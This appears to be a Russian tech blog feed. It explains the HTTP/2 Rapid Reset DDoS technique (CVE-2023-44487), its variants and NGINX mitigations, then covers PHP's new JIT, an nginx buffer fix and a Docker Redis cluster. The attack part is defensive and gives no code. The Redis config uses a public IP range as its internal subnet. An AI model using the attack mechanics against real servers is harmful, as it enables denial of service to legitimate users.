Одним из основных ограничений при организации DoS-атаки 7 уровня - является количество одновременных транспортных соединений. Каждое соединение требует затрат, включая память операционной системы для записей сокетов и буферов, время процессора для подтверждения TLS, а также то, что для каждого соединения требуется уникальный четырехкортеж, IP-адрес и пара портов для каждой стороны соединения, что ограничивает количество одновременных соединений между двумя IP-адресами.

В HTTP/1.1 каждый запрос обрабатывается последовательно. Сервер прочитает запрос, обработает его, напишет ответ и только потом прочитает и обработает следующий запрос. На практике это означает, что частота запросов, которые могут быть отправлены по одному соединению, составляет один запрос за цикл туда и обратно, где туда и обратно включается задержка сети, время обработки прокси-сервера и время обработки серверного запроса. Хотя конвейерная обработка HTTP/1.1 доступна на некоторых клиентах и ​​серверах для увеличения пропускной способности соединения, она не распространена среди официальных клиентов.

С помощью HTTP/2 клиент может открывать несколько одновременных потоков в одном TCP-соединении, причем каждый поток соответствует одному HTTP-запросу. Максимальное количество одновременных открытых потоков теоретически контролируется сервером, но на практике клиенты могут открывать 100 потоков на один запрос, и серверы обрабатывают эти запросы параллельно. Важно отметить, что лимиты сервера не могут быть изменены в одностороннем порядке.

Например, клиент может открыть 100 потоков и отправить запрос по каждому из них за один проход; прокси-сервер будет читать и обрабатывать каждый поток последовательно, но запросы к внутренним серверам снова можно распараллелить. Затем клиент может открывать новые потоки по мере получения ответов на предыдущие. Это обеспечивает эффективную пропускную способность для одного соединения, равную 100 запросам за один проход, с константами времени прохождения туда и обратно, аналогичными запросам HTTP/1.1. Обычно это приводит к почти 100-кратному увеличению использования каждого соединения.

HTTP/2 Атака Rapid Reset

Протокол HTTP/2 позволяет клиентам указывать, что серверу следует отменить предыдущий поток, отправив фрейм RST_STREAM. Протокол не требует от клиента и сервера каким-либо образом согласовывать отмену, клиент может сделать это в одностороннем порядке. Клиент также может предположить, что отмена вступит в силу немедленно, когда сервер получит фрейм RST_STREAM, прежде чем будут обработаны любые другие данные из этого TCP-соединения.

Эта атака называется Rapid Reset, (быстрый сброс) поскольку она основана на способности конечной точки отправить фрейм RST_STREAM сразу после отправки фрейма запроса, что заставляет другую конечную точку начать работу, а затем быстро сбрасывать запрос. Запрос отменяется, но соединение HTTP/2 остается открытым.

Шаблон запроса и ответа HTTP/1.1 и HTTP/2

HTTP/2 Атака Rapid Reset, построенная на этой возможности, проста: клиент открывает большое количество потоков одновременно, как и в стандартной атаке HTTP/2, но вместо того, чтобы ждать ответа на каждый поток запросов от сервера или прокси, клиент немедленно отменяет каждый запрос.

Возможность немедленного сброса потоков позволяет каждому соединению иметь неопределенное количество запросов в процессе. Явно отменяя запросы, злоумышленник никогда не превышает ограничение на количество одновременных открытых потоков. Количество текущих запросов больше не зависит от времени приема-передачи (RTT), а только от доступной пропускной способности сети.

В типичной реализации HTTP/2 серверу по-прежнему придется выполнять значительный объем работы для отмененных запросов, например выделять новые структуры данных потока, анализировать запрос и выполнять распаковку заголовка, а также сопоставлять URL-адрес с ресурсом. Для реализаций обратного прокси-сервера запрос может быть передан на внутренний сервер до обработки фрейма RST_STREAM. С другой стороны, клиент практически ничего "не платит" за отправку запросов. Это создает полезную асимметрию затрат между сервером и клиентом.

Еще одно преимущество, которое получает злоумышленник, заключается в том, что явная отмена запросов сразу после создания означает, что обратный прокси-сервер не будет отправлять ответ ни на один из запросов. Отмена запросов до записи ответа уменьшает пропускную способность нисходящей линии связи (сервер/прокси-сервер для злоумышленника).

Варианты атаки HTTP/2 Rapid Reset

В течение нескольких недель после первых DDoS-атак было замечено несколько вариантов атак Rapid Reset. Эти варианты, как правило, не так эффективны, как первоначальная версия, но все же могут быть более эффективными, чем стандартные DDoS-атаки HTTP/2.

Первый вариант не отменяет потоки сразу, а вместо этого открывает сразу пакет потоков, ждет некоторое время, затем отменяет эти потоки и затем сразу открывает еще один большой пакет новых потоков. Эта атака может обойти средства защиты, основанные только на скорости входящих фреймов RST_STREAM (например, разрешать не более 100 RST_STREAM в секунду для соединения перед его закрытием).

Эти атаки теряют главное преимущество отменяющих атак, поскольку не позволяют максимизировать использование соединения, но все же имеют некоторую эффективность реализации по сравнению со стандартными DDoS-атаками HTTP/2. Но этот вариант действительно означает, что любое снижения последствий, основанное на отмене потока с ограничением скорости, должно устанавливать довольно строгие ограничения, чтобы быть эффективными.

Второй вариант полностью отказывается от отмены потоков и вместо этого оптимистично пытается открыть больше одновременных потоков, чем заявлено сервером. Преимущество этого подхода по сравнению со стандартной DDoS-атакой HTTP/2 заключается в том, что клиент может постоянно поддерживать конвейер запросов полным и исключить RTT клиент-прокси как узкое место. Это также может устранить RTT прокси-сервера как узкое место, если запрос адресован ресурсу, на который сервер HTTP/2 отвечает немедленно.

RFC 9113, текущий HTTP/2 RFC, предполагает, что попытка открыть слишком много потоков должна аннулировать только те потоки, которые превысили лимит, а не все соединение. Большинство серверов HTTP/2 не будут обрабатывать эти потоки, и именно это позволяет использовать вариант атаки без отмены, почти сразу принимая и обрабатывая новый поток после ответа на предыдущий поток.

Многогранный подход к снижению последствий

Конечно никто не ждет, что простая блокировка отдельных запросов станет эффективной защитой от атак этого класса - вместо этого при обнаружении злоупотреблений необходимо закрыть все TCP-соединение. HTTP/2 обеспечивает встроенную поддержку закрытия соединений с использованием типа фрейма для GOAWAY. RFC определяет процесс корректного закрытия соединения, который включает в себя сначала отправку информационного сообщения GOAWAY, не устанавливающего ограничения на открытие новых потоков, а затем отправку туда и обратно другого сообщения, запрещающего открытие дополнительных потоков.

Однако этот изящный процесс GOAWAY обычно не реализуется таким образом, чтобы обеспечить защиту от вредоносных клиентов. Эта форма смягчения делает соединение уязвимым для атак быстрого сброса на слишком долгое время, и ее не следует использовать для создания средств снижения последствий, поскольку она не останавливает входящие запросы. Вместо этого следует настроить GOAWAY для немедленного ограничения создания потока.

Это оставляет вопрос о том, какие связи являются злоупотребляющими. Отмена запросов клиента по своей сути не является злоупотреблением: эта функция существует в протоколе HTTP/2, чтобы помочь лучше управлять обработкой запросов. Типичными ситуациями являются ситуации, когда браузеру больше не нужен запрошенный им ресурс из-за того, что пользователь ушел со страницы, или приложения используют метод длительного опроса с тайм-аутом на стороне клиента.

Меры по смягчению последствий этого вектора атаки могут принимать различные формы, но в основном они сосредоточены на отслеживании статистики соединений и использовании различных сигналов и бизнес-логики для определения того, насколько полезно каждое соединение. Например, если соединение имеет более 100 запросов, причем более 50 % из них отменены, это может быть кандидатом на меры по снижению риска. Масштаб и тип ответа зависят от риска для каждой платформы, но ответы могут варьироваться от принудительных фреймов GOAWAY, как обсуждалось ранее, до немедленного закрытия TCP-соединения.

Чтобы защититься от варианта этой атаки без отмены, рекомендуется серверам HTTP/2 закрывать соединения, превышающие лимит одновременного потока. Это может произойти либо сразу, либо после небольшого количества повторных правонарушений.

Применимость к другим протоколам

Эти методы атаки не относятся напрямую к тому же HTTP/3 (QUIC) из-за различий в протоколах, и Google в настоящее время не видит, чтобы HTTP/3 использовался в качестве вектора DDoS-атаки в большом масштабе. Несмотря на это, рекомендуется реализациям серверов HTTP/3 заранее внедрять механизмы ограничения объема работы, выполняемой одним транспортным соединением, аналогично средствам снижения риска HTTP/2, обсуждавшимся выше.

В начале реагирования на эти DDoS-атаки и в координации с отраслевыми партнерами стало очевидно, что этот новый тип атаки может оказать широкое влияние на любую организацию, предлагающую протокол HTTP/2 для своих услуг.

В процессе раскрытия информации команда сосредоточилась на уведомлении крупных разработчиков HTTP/2, включая инфраструктурные компании и поставщиков серверного программного обеспечения. Целью этих предварительных уведомлений была разработка и подготовка мер по смягчению последствий для скоординированного выпуска. В прошлом этот подход позволял включать широко распространенные средства защиты для поставщиков услуг или делать их доступными через обновления программного обеспечения для многих пакетов и решений.

CVE-2023-44487

Google возглавил скоординированный процесс раскрытия уязвимостей и зарезервировал CVE-2023-44487 для отслеживания потенциальных исправлений реализаций HTTP/2.

Влияние на NGINX

Из соображений производительности и потребления ресурсов NGINX ограничивает количество одновременных потоков значением по умолчанию, равным 128 (см. http2_max_concurrent_streams ). Кроме того, чтобы оптимально сбалансировать производительность сети и сервера, NGINX позволяет клиенту сохранять HTTP-соединения для до 1000 запросов по умолчанию, используя HTTP-поддержку активности (см. keepalive_requests ).

Опираясь на лимит активности по умолчанию, NGINX предотвращает атаки такого типа. Создание дополнительных подключений для обхода этого ограничения выявляет злоумышленников с помощью стандартных инструментов мониторинга и оповещения уровня 4.

Однако если NGINX настроен с параметром поддержки активности, который значительно превышает значение по умолчанию и рекомендуемое значение, атака может истощить системные ресурсы. Когда происходит сброс потока, протокол HTTP/2 требует, чтобы никакие последующие данные не возвращались клиенту в этом потоке. Обычно сброс приводит к незначительной нагрузке на сервер в виде задач, которые корректно обрабатывают отмену. Однако обход порога потока NGINX позволяет клиенту воспользоваться этими издержками и усилить их, быстро инициируя тысячи потоков. Это приводит к резкому увеличению нагрузки на процессор сервера, отказывая в обслуживании законным клиентам.

Отказ в обслуживании путем установления потоков HTTP/2 с последующей отменой потока при аномально высоких ограничениях активности.

Шаги по снижению риска атак

Будучи полнофункциональным сервером и прокси-сервером, NGINX предоставляет администраторам мощные инструменты для предотвращения атак типа «отказ в обслуживании». Чтобы воспользоваться этими функциями, важно внести следующие обновления в файлы конфигурации NGINX, чтобы минимизировать поверхность атаки сервера:

• Для параметра keepalive_requests следует оставить значение по умолчанию - 1000 запросов.

• Для http2_max_concurrent_streams следует оставить значение по умолчанию - 128 потоков.

Также рекомендуется добавить следующие меры безопасности в качестве передовой практики:

• limit_conn устанавливает ограничение на количество разрешенных подключений от одного клиента. Эту директиву следует добавить с разумной настройкой, обеспечивающей баланс между производительностью и безопасностью приложения.

• limit_req устанавливает ограничение на количество запросов, которые будут обработаны в течение заданного периода времени от одного клиента. Эту директиву следует добавить с разумной настройкой, обеспечивающей баланс между производительностью и безопасностью приложения.

Чтобы обеспечить раннее обнаружение флуд-атак команда NGINX выпустила патч, для модуля ngx_http_v2_module, накладывающий ограничение на количество новых потоков, которые могут быть введены в один цикл событий. Этот предел устанавливается в два раза больше значения, настроенного с помощью директивы http2_max_concurrent_streams. Ограничение будет применено, даже если максимальный порог никогда не будет достигнут, например, когда потоки сбрасываются сразу после отправки запроса (как в случае с этой атакой).

Так же можно еще почитать дополнительную информацию о CVE-2023-44487 атаке с быстрым сбросом HTTP/2 https://www.cve.org/CVERecord?id=CVE-2023-44487 .

Дмитрий Стогов представил информацию о новом JIT-движке, который будет использоваться в следующих версиях PHP

Как вы знаете JIT появился в PHP 8.0 и представлял из себя компиляцию "на лету" - Just In Time, так же вы вероятно знаете, что PHP является интерпретируемым языком, он не компилирует программы в прямом смысле этого значения, как, например это делают C или Rust.

Чтобы включить JIT нужно было указать несколько параметров конфига php.ini.

Новый JIT движок PHP

Дмитрий Стогов, один из мейнтейнеров PHP поделился информацией в internal рассылках PHP о новом JIT-движке, который будет использоваться в следующих мажорных версиях PHP. Теперь это настоящий оптимизирующий компилятор с промежуточным представлением, аналогичный серверному компилятору Java HotSpot.

Он создает основу для будущих улучшений и устраняет многие низкоуровневые детали существующего PHP JIT. Вместо поддержки ассемблерного кода для разных процессоров теперь PHP генерирует один IR и передает его независимому от PHP JIT-движку.

Старая реализация JIT будет сохранена на некоторое время. Все желающие могут просмотреть код https://github.com/php/php-src/pull/12079.

Новая реализация JIT основана на IR-Lightweight JIT Compilation Framework и в отличии от старого JIT-подхода в PHP 8.*, который генерирует собственный код непосредственно из байт-кода PHP, эта реализация генерирует промежуточное представление (IR) и делегирует все задачи более низкого уровня в IR Framework. IR для JIT похож на абстрактное синтаксическое дерево (AST) для компилятора.

По сравнению с классическими оптимизирующими компиляторами (такими как GCC и LLVM), IR Framework использует очень короткий конвейер оптимизации. В сочетании с компактным IR-представлением это делает его чрезвычайно быстрым и позволяет генерировать довольно хороший машинный код за разумное время.

IR-пример

Попробуем сгенерировать код для следующей функции:

int32_t mandelbrot(double x, double y)
{
	double cr = y - 0.5;
	double ci = x;
	double zi = 0.0;
	double zr = 0.0;
	int i = 0;

	while(1) {
		i++;
		double temp = zr * zi;
		double zr2 = zr * zr;
		double zi2 = zi * zi;
		zr = zr2 - zi2 + cr;
		zi = temp + temp + ci;
		if (zi2 + zr2 > 16)
			return i;
		if (i > 1000)
			return 0;
	}
	
}

Это можно сделать через API построения IR с помощью следующего кода:

void gen_mandelbrot(ir_ctx *ctx)
{
	ir_START();
	ir_ref x = ir_PARAM(IR_DOUBLE, "x", 1);
	ir_ref y = ir_PARAM(IR_DOUBLE, "y", 2);
	ir_ref cr = ir_SUB_D(y, ir_CONST_DOUBLE(0.5));
	ir_ref ci = ir_COPY_D(x);
	ir_ref zi = ir_COPY_D(ir_CONST_DOUBLE(0.0));
	ir_ref zr = ir_COPY_D(ir_CONST_DOUBLE(0.0));
	ir_ref i = ir_COPY_D(ir_CONST_I32(0));

	ir_ref loop = ir_LOOP_BEGIN(ir_END());
		ir_ref zi_1 = ir_PHI_2(zi, IR_UNUSED);
		ir_ref zr_1 = ir_PHI_2(zr, IR_UNUSED);
		ir_ref i_1 = ir_PHI_2(i, IR_UNUSED);

		ir_ref i_2 = ir_ADD_I32(i_1, ir_CONST_I32(1));
		ir_ref temp = ir_MUL_D(zr_1, zi_1);
		ir_ref zr2 = ir_MUL_D(zr_1, zr_1);
		ir_ref zi2 = ir_MUL_D(zi_1, zi_1);
		ir_ref zr_2 = ir_ADD_D(ir_SUB_D(zr2, zi2), cr);
		ir_ref zi_2 = ir_ADD_D(ir_ADD_D(temp, temp), ci);
		ir_ref if_1 = ir_IF(ir_GT(ir_ADD_D(zi2, zr2), ir_CONST_DOUBLE(16.0)));
			ir_IF_TRUE(if_1);
				ir_RETURN(i_2);
			ir_IF_FALSE(if_1);
				ir_ref if_2 = ir_IF(ir_GT(i_2, ir_CONST_I32(1000)));
				ir_IF_TRUE(if_2);
					ir_RETURN(ir_CONST_I32(0));
				ir_IF_FALSE(if_2);
					ir_ref loop_end = ir_LOOP_END();

	/* close loop */
	ir_MERGE_SET_OP(loop, 2, loop_end);
	ir_PHI_SET_OP(zi_1, 2, zi_2);
	ir_PHI_SET_OP(zr_1, 2, zr_2);
	ir_PHI_SET_OP(i_1, 2, i_2);
}

Текстовое представление IR после системной независимой оптимизации:

{
	uintptr_t c_1 = 0;
	bool c_2 = 0;
	bool c_3 = 1;
	double c_4 = 0.5;
	double c_5 = 0;
	int32_t c_6 = 0;
	int32_t c_7 = 1;
	double c_8 = 16;
	int32_t c_9 = 1000;
	l_1 = START(l_22);
	double d_2 = PARAM(l_1, "x", 1);
	double d_3 = PARAM(l_1, "y", 2);
	double d_4 = SUB(d_3, c_4);
	l_5 = END(l_1);
	l_6 = LOOP_BEGIN(l_5, l_29);
	double d_7 = PHI(l_6, c_5, d_28);
	double d_8 = PHI(l_6, c_5, d_26);
	int32_t d_9 = PHI(l_6, c_6, d_10);
	int32_t d_10 = ADD(d_9, c_7);
	double d_11 = MUL(d_8, d_8);
	double d_12 = MUL(d_7, d_7);
	double d_13 = ADD(d_12, d_11);
	bool d_14 = GT(d_13, c_8);
	l_15 = IF(l_6, d_14);
	l_16 = IF_TRUE(l_15);
	l_17 = RETURN(l_16, d_10);
	l_18 = IF_FALSE(l_15);
	bool d_19 = GT(d_10, c_9);
	l_20 = IF(l_18, d_19);
	l_21 = IF_TRUE(l_20);
	l_22 = RETURN(l_21, c_6, l_17);
	l_23 = IF_FALSE(l_20);
	double d_24 = MUL(d_7, d_8);
	double d_25 = SUB(d_11, d_12);
	double d_26 = ADD(d_25, d_4);
	double d_27 = ADD(d_24, d_24);
	double d_28 = ADD(d_27, d_2);
	l_29 = LOOP_END(l_23);
}

Окончательно сгенерированный код:

test:
	subsd .L4(%rip), %xmm1
	xorpd %xmm3, %xmm3
	xorpd %xmm2, %xmm2
	xorl %eax, %eax
.L1:
	leal 1(%rax), %eax
	movapd %xmm2, %xmm4
	mulsd %xmm2, %xmm4
	movapd %xmm3, %xmm5
	mulsd %xmm3, %xmm5
	movapd %xmm5, %xmm6
	addsd %xmm4, %xmm6
	ucomisd .L5(%rip), %xmm6
	ja .L2
	cmpl $0x3e8, %eax
	jg .L3
	mulsd %xmm2, %xmm3
	subsd %xmm5, %xmm4
	movapd %xmm4, %xmm2
	addsd %xmm1, %xmm2
	addsd %xmm3, %xmm3
	addsd %xmm0, %xmm3
	jmp .L1
.L2:
	retq
.L3:
	xorl %eax, %eax
	retq
.rodata
.L4:
	.db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x3f
.L5:
	.db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x40

Визуализированный график:

Ключевые преимущества новой реализации JIT

• Использование IR открывает возможности для лучшей оптимизации и распределения регистров (полученный собственный код более эффективен). 
• PHP не нужно заботиться о большинстве деталей низкого уровня (различные процессоры, соглашения о вызовах, детали TLS и т. д.).
• Гораздо проще реализовать поддержку новых целей (например, RISCV)
• IR-фреймворк будет разрабатываться отдельно от PHP и может принимать вклад от других проектов (новые оптимизации, улучшения, исправления ошибок).

Недостатки новой реализации JIT

К сожалению JIT-компиляция становится медленнее (это практически незаметно для tracing JIT, но function JIT-компиляция того же Wordpress становится в 4 раза медленнее)

В заключении

Новая реализация JIT успешно проходит все рабочие процессы CI, включая Nightly, но она еще не доработана и может вызывать сбои. Чтобы снизить риски, новый патч не удаляет старую реализацию JIT (то есть такую ​​же, как JIT PHP 8.3). Можно собрать PHP со старым JIT, настроив его с помощью --disable-opcache-jit-ir. В будущем старая реализация будет удалена.

Спасибо Дмитрию за вновь проделанную колоссальную работу.

Кстати, если вы еще не в нашем уютном телеграм канале "Делаем из мухи слона", то можете присоединиться к нам, ведь можно читать те же посты, но в вашем удобном мессенджере

Если у вас на сайте периодически стали выдаваться ошибки ERR_HTTP2_PROTOCOL_ERROR по запросу ресурса, то милости прошу под кат

Посты для категории Заметки это наверное мои самые любимые посты) Потому что, обычно в них я пишу то, с чем сталкиваюсь периодически раз в год или два и сам забываю что сделал в прошлый раз для решения проблемы. 

Так, ну раз вы сюда пришли из поисковика или просто читаете вышедший пост, как постоянный читатель :) то скорее всего имеете проблему возникновения ошибки ERR_HTTP2_PROTOCOL_ERROR в браузере, на сайте данная проблема выливается в неподгрузке ресурсов, будь то стили или скрипты, соотвественно визуально вы сразу понимаете, что что-то нето.

Идентифицировать ошибку можно в консоли браузера, для примера вот как-то так:

Если погуглить в интернете то многие сайты выдают стандартный набор советов, для простого пользователя, которые никак не касаются разработки:

• Очистить кэш браузера;
• Отключить расширения;
• Отключить QUIC;
• Отключить средства защиты, типа антивирус или брандмауэр;
• Проверить корректную время и дату;
• Включить VPN;
• Обновить браузер;
• и др.

Сделать это, конечно можно, и проблема как пользователя возможно будет решена, но если вы разработчик/девопс и после деплоя приложения на сервере у вас возникает данная проблема (что как раз актуально в моем случае), то одними такими действиями вы себе не поможете, что в таком случае можно сделать:

В конфиге вашего виртуального хоста nginx есть такие директивы (или определены по умолчанию):

fastcgi_buffer_size 4k;
fastcgi_buffers 8 4k;

fastcgi_buffer_size - Задаёт размер буфера, в который будет читаться первая часть ответа, получаемого от FastCGI-сервера. В этой части ответа находится, как правило, небольшой заголовок ответа. По умолчанию размер одного буфера равен размеру страницы памяти. В зависимости от платформы это или 4K, или 8K, однако его можно сделать меньше.

fastcgi_buffers - Если буферизация включена, то nginx принимает ответ FastCGI-сервера как можно быстрее, сохраняя его в буферы, заданные директивами fastcgi_buffer_size и fastcgi_buffers. Если ответ не вмещается целиком в память, то его часть может быть записана на диск во временный файл. Запись во временные файлы контролируется директивами fastcgi_max_temp_file_size и fastcgi_temp_file_write_size.

Если буферизация выключена, то ответ синхронно передаётся клиенту сразу же по мере его поступления. nginx не пытается считать весь ответ FastCGI-сервера. Максимальный размер данных, который nginx может принять от сервера за один раз, задаётся директивой fastcgi_buffer_size.

Буферизация может быть также включена или выключена путём передачи значения “yes” или “no” в поле “X-Accel-Buffering” заголовка ответа. Эту возможность можно запретить с помощью директивы fastcgi_ignore_headers.

Вот как раз нехватка размера буфера и приводит к данной ошибке ERR_HTTP2_PROTOCOL_ERROR в ответ на запрос ресурсов.

Следовательно увеличив размера буфера, например x2:

 fastcgi_buffer_size 16k;
 fastcgi_buffers 8 16k;

вероятность решения проблемы будет 99%. Повторять увеличивать, если проблема будет возвращаться.

Как узнать параметры fastcgi_buffer_size и fastcgi_buffers

Если вы хотите сделать более точную настройку данных директив, то можно узнать максимальный и средний размер пакетов поступающих на nginx и отталкиваясь от данной информации выставить правильные  значения.

Максимальный размер:

awk '($9 ~ /200/)' access.log  | awk '{print $10}' | sort -nr | head -n 1

Обратите внимание, что мы принимаем во внимание только ответ HTTP 200 OK. 

Средний размер:

echo $(( `awk '($9 ~ /200/)' access.log | awk '{print $10}' | awk '{s+=$1} END {print s}'` / `awk '($9 ~ /200/)' access.log  | wc -l` ))

Предположим у вас получились такие значения:

Максимальный 31345 байт (31К и округляем в ближайшую большую сторону 32К)

Средний 6251 байт (6К и округляем до 8К) 

Следовательно ваши значения будут такими:

fastcgi_buffer_size 8k; #это значение закрывает среднюю потребность
fastcgi_buffers 4 8k; #это максимальную т.к. 4 * 8К = 32К

Надеюсь этот пост вам помог решить вашу проблему, буду рад комментариям и вопросам.

Кстати, если вы еще не в нашем уютном телеграм канале "Делаем из мухи слона", то можете присоединиться к нам, ведь можно читать те же посты, но в вашем удобном мессенджере

В этом посте мы рассмотрим, как мы можем использовать Redis в качестве провайдера кеша для нашего приложения, и по мере дальнейшего изучения мы увидим, как кластер Redis может обеспечить нам большую масштабируемость и надежность

Что такое Редис?

Redis - это хранилище ключей и значений. Грубо говоря, оно работает точно так же, как база данных, но хранит свои данные в памяти, а это означает, что операции чтения и записи выполняются на несколько порядков быстрее по сравнению с реляционными базами данных, такими как MySQL и PostgreSQL. Важно отметить, что Redis не заменяет реляционную базу данных. У него есть свои варианты использования, и мы рассмотрим некоторые из них в этом посте.

Для получения дополнительной информации о Redis можете посетить их сайт. Там вы найдете хорошую документацию и информацию о том, как работать с Redis. Тем не менее, в этом посте мы создадим демонстрацию и будем использовать интересную настройку с использованием Docker и docker-compose, которая запустит и настроит для вас весь кластер Redis. Единственное что вам нужно это Docker.

Кстати, если вы уже знакомы с Redis и просто ищете способ развернуть полностью настроенный кластер Redis с помощью Docker, вот репозиторий Github. Просто клонируйте репозиторий, зайдите в свой терминал, запустите, docker-compose up и все будет готово.

Использование Redis для кэширования

Всякий раз, когда нам нужен быстрый доступ к каким-либо данным, нам нужно подумать о способах хранения этих данных как можно ближе к прикладному уровню. Если объем данных достаточно мал, рекомендуется хранить эти данные в локальной памяти, чтобы иметь мгновенный доступ. Но когда мы говорим о веб-приложениях, особенно о тех, которые не сохраняют состояние и потенциально могут работать на нескольких серверах, мы не можем гарантировать, что нужные нам данные будут присутствовать, а также убедиться, что другие серверы в вашем кластере имеют быстрый доступ к эти же данные.

Вот где базы данных удобны. Мы можем записывать эти данные в центральное место, а другие серверы могут получать эти данные, когда им это нужно. Проблема с некоторыми базами данных заключается в том, что если вам действительно нужен молниеносно быстрый доступ, некоторые из них не смогут обеспечить это со скоростью пули. Redis обычно является базой данных, к которой нужно обращаться, когда вам нужен быстрый и надежный доступ к определенным битам данных. Он также предоставляет нам способы установить политики истечения срока действия для этих данных, чтобы они автоматически удалялись по истечении срока их действия.

Redis обычно является хорошим выбором для хранения:

• Сессии пользователей
• Токены аутентификации
• Лимиттеры - Счетчики ограничения скорости/доступа

Redis ни в коем случае не ограничивается описанными выше вариантами использования, но они хорошо подходят, когда вам нужен быстрый доступ к данным, чаще всего при каждом запросе, поступающем через ваши серверы.

Для чего нужно использовать Redis кластер?

Обычно когда нагрузка на приложение небольшая - принято начинать с одного экземпляра сервера, возможно, подключенного к серверу базы данных, что может занять некоторое дополнительное время. Но когда вам нужно масштабировать приложение в разных странах, а иногда и на разных континентах, это, вероятно, означает, что ваше приложение должно быть доступно 24 часа в сутки, 7 дней в неделю. А надежность и устойчивость должны быть встроены в ваше приложение.

Вам нужно начать думать о том, что происходит, когда один из ваших серверов баз данных выходит из строя либо из-за проблемы в сети, либо из-за неисправного оборудования. Если у вас есть только один экземпляр, то скорее всего приложение будет недоступно некоторое время. И потребуется время снова запустить его в работу.

Если ваше приложение критически важно, в частности те же интернет-магазины, вы не можете позволить себе быть в оффлайн режиме в течение нескольких часов. Некоторые приложения не могут находиться в автономном режиме даже несколько минут. Именно здесь кластер с репликами может спасти вас, когда возникает подобная проблема.

Кластер Redis обеспечивает автоматический обмен данными между несколькими экземплярами Redis, что обеспечивает более высокий уровень надежности и доступности. Если в одном из этих экземпляров произойдет какой-либо сбой, другие узлы по-прежнему смогут нормально обслуживать контент для вашего приложения.

Так же кластеризация Redis на одном сервере позволит поднять несколько экземпляров Redis и решить проблему его однопоточности, в которую иногда упирается высоконагруженое приложение.

Запуск кластера Redis

Недавно мы уперлись в потолок нашего одного экземпляра Редиса, т.к. интернет-магазин, а помимо него еще и внутри корпоративная система слишком усердно "ддосили" редис и одного экземпляра стало уже мало, поэтому было принято решение перейти на кластер с несколькими сегментами, включая несколько реплик. Кстати до кластера мы попробовали форк KeyDB, который показал себя не с лучшей стороны в плане стабильности работы, после чего решили вернуться к редису, последней версии с несколькими инстансами.

Чтобы было проще поднять и убедиться, что мы можем поддерживать кластер Redis во время разработки, была создана установка нескольких контейнеров Redis и автоматическое подключение друг к другу для формирования кластера.

Вся настройка готова для вас в этом репозитории Github https://github.com/sinbadxiii/docker-redis-cluster, поэтому вам не нужно беспокоиться о создании чего-либо с нуля. Вы можете клонировать его и попробовать запустить, пока мы будет обсуждать пост дальше.

Создание docker-compose.yml для Redis кластер

По сути, конечно, мы будем использовать несколько одинаковых сервисов redis_# последних образов redis-latest. И только последний специальный контейнер redis_cluster  будет отдавать команды Redis таким образом, чтобы он мог сформировать кластер:

Итак содержимое файла будем таким:

version: '3.3'

networks:
  network_redis_cluster:
    driver: bridge
    ipam:
      driver: default
      config:
        - subnet: 173.18.0.0/16

volumes:
  redis_1_data: {}
  redis_2_data: {}
  redis_3_data: {}
  redis_4_data: {}
  redis_5_data: {}
  redis_6_data: {}

services:
  redis_1:
    image: redis:latest
    restart: always
    container_name: redis_1
    sysctls:
      - net.core.somaxconn=65536
    ports:
      - "127.0.0.1:6381:6381"
      - "127.0.0.1:16381:16381"
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.11
    command: "redis-server /usr/local/etc/redis/redis.conf"
    volumes:
      - redis_1_data:/data
      - ./redis_1/redis.conf:/usr/local/etc/redis/redis.conf

  redis_2:
    image: redis:latest
    restart: always
    container_name: redis_2
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.12
    ports:
      - "127.0.0.1:6382:6382"
      - "127.0.0.1:16382:16382"
    volumes:
      - redis_2_data:/data
      - ./redis_2/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_3:
    image: redis:latest
    restart: always
    container_name: redis_3
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.13
    ports:
      - "127.0.0.1:6383:6383"
      - "127.0.0.1:16383:16383"
    volumes:
      - redis_3_data:/data
      - ./redis_3/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_4:
    image: redis:latest
    restart: always
    container_name: redis_4
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.14
    ports:
      - "127.0.0.1:6384:6384"
      - "127.0.0.1:16384:16384"
    volumes:
      - redis_4_data:/data
      - ./redis_4/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_5:
    image: redis:latest
    restart: always
    container_name: redis_5
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.15
    ports:
      - "127.0.0.1:6385:6385"
      - "127.0.0.1:16385:16385"
    volumes:
      - redis_5_data:/data
      - ./redis_5/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_6:
    image: redis:latest
    restart: always
    container_name: redis_6
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.16
    ports:
      - "127.0.0.1:6386:6386"
      - "127.0.0.1:16386:16386"
    volumes:
      - redis_6_data:/data
      - ./redis_6/redis.conf:/usr/local/etc/redis/redis.conf
    command: "redis-server /usr/local/etc/redis/redis.conf"

  redis_cluster:
    image: redis:latest
    container_name: redis_cluster
    sysctls:
      - net.core.somaxconn=65536
    networks:
      network_redis_cluster:
        ipv4_address: 173.18.0.17
    tty: true
    command: "redis-cli --cluster create 173.18.0.11:6381 173.18.0.12:6382 173.18.0.13:6383 173.18.0.14:6384 173.18.0.15:6385 173.18.0.16:6386 --cluster-replicas 1 --cluster-yes"
    depends_on:
      - redis_1
      - redis_2
      - redis_3
      - redis_4
      - redis_5
      - redis_6

1. Создает несколько экземпляров Redis

2. Настраивает их IP-адреса и порты так, чтобы они соответствовали тем, которые мы сможем использовать.

3. Скопирует конфиг файл redis.conf, чтобы они могли действовать как кластер

4. Создает контейнер инициатора кластера, который необходим только для выполнения нашей команды и подключения к кластеру.

Основной секрет здесь кроется в команде redis-cli:

redis-cli --cluster create 173.18.0.11:6381 173.18.0.12:6382 173.18.0.13:6383 173.18.0.14:6384 173.18.0.15:6385 173.18.0.16:6386 --cluster-replicas 1 --cluster-yes

Эта команда создает кластер и указывает на конкретные экземпляры Redis, которые будут доступны при запуске этого скрипта, здесь мы используем жестко закодированные IP-адреса, которые позже будут предоставлены нашим файлом docker-compose.yml.

